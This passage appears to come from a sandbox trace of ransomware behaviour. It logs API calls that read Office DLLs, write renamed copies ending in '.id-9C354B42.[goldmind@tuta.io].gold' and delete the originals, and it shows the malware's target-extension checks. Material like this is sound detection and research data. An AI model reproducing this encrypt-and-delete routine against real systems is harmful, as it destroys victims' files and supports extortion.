lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString=".7z") returned 3 [0050.755] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString=".dbf") returned 4 [0050.755] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString=".1cd") returned 4 [0050.755] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString=".jpg") returned 4 [0050.755] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0050.755] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.755] lstrlenW (lpString="OARPMANR.DLL") returned 12 [0050.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.756] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=11656) returned 1 [0050.756] CloseHandle (hObject=0x200) returned 1 [0050.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0050.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.756] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.756] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.058] GetLastError () returned 0x0 [0052.058] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x2d88, lpOverlapped=0x0) returned 1 [0052.060] WriteFile (in: hFile=0x210, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0052.060] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.060] WriteFile (in: hFile=0x210, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.060] SetEndOfFile (hFile=0x210) returned 1 [0052.061] CloseHandle (hObject=0x210) returned 1 [0052.061] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.061] SetEndOfFile (hFile=0x200) returned 1 [0052.062] CloseHandle (hObject=0x200) returned 1 [0052.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.062] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0052.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.062] lstrlenW (lpString=".doc") returned 4 [0052.063] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString=".docx") returned 5 [0052.063] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.063] lstrlenW (lpString=".pdf") returned 4 [0052.063] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString=".xls") returned 4 [0052.063] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString=".xlsx") returned 5 [0052.063] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.063] lstrlenW (lpString=".ppt") returned 4 [0052.063] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.063] lstrlenW (lpString=".zip") returned 4 [0052.063] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString=".rar") returned 4 [0052.063] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString=".bz2") returned 4 [0052.063] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.063] lstrlenW (lpString=".7z") returned 3 [0052.063] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.063] lstrlenW (lpString=".dbf") returned 4 [0052.063] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.063] lstrlenW (lpString=".1cd") returned 4 [0052.063] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.063] lstrlenW (lpString=".jpg") returned 4 [0052.063] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.063] lstrlenW (lpString=".doc") returned 4 [0052.063] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString=".docx") returned 5 [0052.063] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.063] lstrlenW (lpString=".pdf") returned 4 [0052.063] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString=".xls") returned 4 [0052.063] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.063] lstrlenW (lpString=".xlsx") returned 5 [0052.063] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.063] lstrlenW (lpString=".ppt") returned 4 [0052.064] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.064] lstrlenW (lpString=".zip") returned 4 [0052.064] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.064] lstrlenW (lpString=".rar") returned 4 [0052.064] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.064] lstrlenW (lpString=".bz2") returned 4 [0052.064] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.064] lstrlenW (lpString=".7z") returned 3 [0052.064] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.064] lstrlenW (lpString=".dbf") returned 4 [0052.064] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.064] lstrlenW (lpString=".1cd") returned 4 [0052.064] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0052.064] lstrlenW (lpString=".jpg") returned 4 [0052.064] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.064] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.064] lstrlenW (lpString="ACEES.DLL") returned 9 [0052.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.086] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1012648) returned 1 [0052.086] CloseHandle (hObject=0x200) returned 1 [0052.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0052.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.086] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.086] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.087] GetLastError () returned 0x0 [0052.087] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xf73a8, lpOverlapped=0x0) returned 1 [0052.106] WriteFile (in: hFile=0x210, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xf73b0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xf73b0, lpOverlapped=0x0) returned 1 [0052.120] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.120] WriteFile (in: hFile=0x210, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.120] SetEndOfFile (hFile=0x210) returned 1 [0052.120] CloseHandle (hObject=0x210) returned 1 [0052.120] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.120] SetEndOfFile (hFile=0x200) returned 1 [0052.319] CloseHandle (hObject=0x200) returned 1 [0052.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 1 [0052.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.509] lstrlenW (lpString=".doc") returned 4 [0052.509] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString=".docx") returned 5 [0052.509] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0052.509] lstrlenW (lpString=".pdf") returned 4 [0052.509] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString=".xls") returned 4 [0052.509] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString=".xlsx") returned 5 [0052.509] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0052.509] lstrlenW (lpString=".ppt") returned 4 [0052.509] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.509] lstrlenW (lpString=".zip") returned 4 [0052.509] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString=".rar") returned 4 [0052.509] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString=".bz2") returned 4 [0052.509] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.509] lstrlenW (lpString=".7z") returned 3 [0052.509] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.509] lstrlenW (lpString=".dbf") returned 4 [0052.509] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.509] lstrlenW (lpString=".1cd") returned 4 [0052.509] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.509] lstrlenW (lpString=".jpg") returned 4 [0052.509] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.509] lstrlenW (lpString=".doc") returned 4 [0052.509] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString=".docx") returned 5 [0052.509] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0052.509] lstrlenW (lpString=".pdf") returned 4 [0052.509] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString=".xls") returned 4 [0052.509] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.509] lstrlenW (lpString=".xlsx") returned 5 [0052.509] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0052.510] lstrlenW (lpString=".ppt") returned 4 [0052.510] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.510] lstrlenW (lpString=".zip") returned 4 [0052.510] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.510] lstrlenW (lpString=".rar") returned 4 [0052.510] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.510] lstrlenW (lpString=".bz2") returned 4 [0052.510] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.510] lstrlenW (lpString=".7z") returned 3 [0052.510] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.510] lstrlenW (lpString=".dbf") returned 4 [0052.510] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.510] lstrlenW (lpString=".1cd") returned 4 [0052.510] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0052.510] lstrlenW (lpString=".jpg") returned 4 [0052.510] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.510] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.510] lstrlenW (lpString="ACERCLR.DLL") returned 11 [0052.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0052.689] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=55744) returned 1 [0052.689] CloseHandle (hObject=0x168) returned 1 [0052.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0052.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0052.689] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.689] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.690] GetLastError () returned 0x0 [0052.690] ReadFile (in: hFile=0x168, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xd9c0, lpOverlapped=0x0) returned 1 [0052.692] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd9d0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xd9d0, lpOverlapped=0x0) returned 1 [0052.694] ReadFile (in: hFile=0x168, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.694] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.694] SetEndOfFile (hFile=0x18c) returned 1 [0052.694] CloseHandle (hObject=0x18c) returned 1 [0052.694] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.694] SetEndOfFile (hFile=0x168) returned 1 [0052.695] CloseHandle (hObject=0x168) returned 1 [0052.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.695] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 1 [0052.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.696] lstrlenW (lpString=".doc") returned 4 [0052.696] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.696] lstrlenW (lpString=".docx") returned 5 [0052.696] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.696] lstrlenW (lpString=".pdf") returned 4 [0052.696] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.696] lstrlenW (lpString=".xls") returned 4 [0052.696] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.696] lstrlenW (lpString=".xlsx") returned 5 [0052.696] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.696] lstrlenW (lpString=".ppt") returned 4 [0052.696] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.696] lstrlenW (lpString=".zip") returned 4 [0052.696] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.696] lstrlenW (lpString=".rar") returned 4 [0052.696] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.696] lstrlenW (lpString=".bz2") returned 4 [0052.696] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.696] lstrlenW (lpString=".7z") returned 3 [0052.696] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.696] lstrlenW (lpString=".dbf") returned 4 [0052.696] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.696] lstrlenW (lpString=".1cd") returned 4 [0052.696] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.696] lstrlenW (lpString=".jpg") returned 4 [0052.696] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.696] lstrlenW (lpString=".doc") returned 4 [0052.696] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.696] lstrlenW (lpString=".docx") returned 5 [0052.697] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.697] lstrlenW (lpString=".pdf") returned 4 [0052.697] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.697] lstrlenW (lpString=".xls") returned 4 [0052.697] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.697] lstrlenW (lpString=".xlsx") returned 5 [0052.697] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.697] lstrlenW (lpString=".ppt") returned 4 [0052.697] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.697] lstrlenW (lpString=".zip") returned 4 [0052.697] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.697] lstrlenW (lpString=".rar") returned 4 [0052.697] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.697] lstrlenW (lpString=".bz2") returned 4 [0052.697] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.697] lstrlenW (lpString=".7z") returned 3 [0052.697] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.697] lstrlenW (lpString=".dbf") returned 4 [0052.697] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.697] lstrlenW (lpString=".1cd") returned 4 [0052.697] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0052.697] lstrlenW (lpString=".jpg") 